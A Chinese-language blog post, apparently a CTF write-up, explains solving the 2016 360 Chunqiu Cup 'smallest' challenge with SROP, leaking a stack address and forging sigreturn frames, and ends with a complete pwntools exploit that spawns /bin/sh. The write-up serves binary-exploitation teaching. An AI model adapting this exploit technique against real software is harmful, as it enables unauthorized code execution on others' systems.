SROP
196082 慢慢好起来

在做题之前一直认为SROP是一项比较难以理解的东西,做了之后发现并不是那么回事,原理的话我推荐这个博主,我这里就不在赘述了。

题目:2016年-360春秋杯-srop赛题smallest buu上面也有

题目就是裸奔,除了堆栈不可执行都没开

题目的代码也很简单,就在start存在

image-20220301160806071

我对于这个东西的理解:在调用sys_rt_sigreturn时,会将rsp所指向的位置当作sigFrame,以至于我们可以随便伪造sigFrame

在实行SROP攻击的时候需要知道的几个条件:需要泄漏出一个栈地址,需要知道syscall的地址,需要控制rax

利用过程

1
2
3
4
5
r.send(p64(start_addr)*3)
r.send(b'\xb3')
r.recv(0x8)
stack_addr = u64(r.recv(8))
print(hex(stack_addr))

首先泄漏栈地址,从上图可以看到start_addr=0x4000b0,我们首先写入三个start的地址到栈里面,然后进行下一个read,我们输入b’\xb3’,那么这时候我们将我们写入的第二个start地址改成了0x4000b3,并且此时的rax为1,所以下一次就会输出0x400个栈上面的内容,借机泄漏栈地址。

1
2
3
4
5
6
7
8
9
10
11
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_addr
payload = p64(start_addr)+b'a'*0x8+bytes(sigframe)
r.send(payload)
payload = p64(syscall_addr).ljust(0xf, b'b')
r.send(payload)

在第三个read的时候我们写入start的地址和伪造的sigframe,接着进入第四次read,随后写入syscall地址,然后补齐0xf个字节,然后就会执行sys_rt_sigreturn,并且此时的rsp正好指向了我们伪造的sigframe。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
bin_sh_addr = stack_addr+0x120
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = bin_sh_addr
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rsp = stack_addr
sigframe.rip = syscall_addr
payload = p64(start_addr)+b'a'*0x8+bytes(sigframe)
print(hex(len(payload)))
payload = payload.ljust(0x120, b'\x00')+b'/bin/sh\x00'
r.send(payload)
payload = p64(syscall_addr).ljust(0xf, b'\x00')
r.send(payload)

此时,在执行完之后就会进入第五次read,此次read是我们构造的,所以rsi在我们已知的栈地址上面写入内容,所以使用同样的方法构造出execve。

综上得出exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *

elf = ELF('./smallest')
r = process('./smallest')

context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.arch = 'amd64'

start_addr = 0x4000B0
syscall_addr = 0x4000BE

r.send(p64(start_addr)*3)
r.send(b'\xb3')
r.recv(0x8)
stack_addr = u64(r.recv(8))
print(hex(stack_addr))

sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_read
sigframe.rdi = 0
sigframe.rsi = stack_addr
sigframe.rdx = 0x400
sigframe.rsp = stack_addr
sigframe.rip = syscall_addr
payload = p64(start_addr)+b'a'*0x8+bytes(sigframe)
r.send(payload)
payload = p64(syscall_addr).ljust(0xf, b'b')
r.send(payload)

bin_sh_addr = stack_addr+0x120
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = bin_sh_addr
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rsp = stack_addr
sigframe.rip = syscall_addr
payload = p64(start_addr)+b'a'*0x8+bytes(sigframe)
print(hex(len(payload)))
payload = payload.ljust(0x120, b'\x00')+b'/bin/sh\x00'
r.send(payload)
payload = p64(syscall_addr).ljust(0xf, b'\x00')
r.send(payload)

r.interactive()
 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 335.6k 访客数 访问量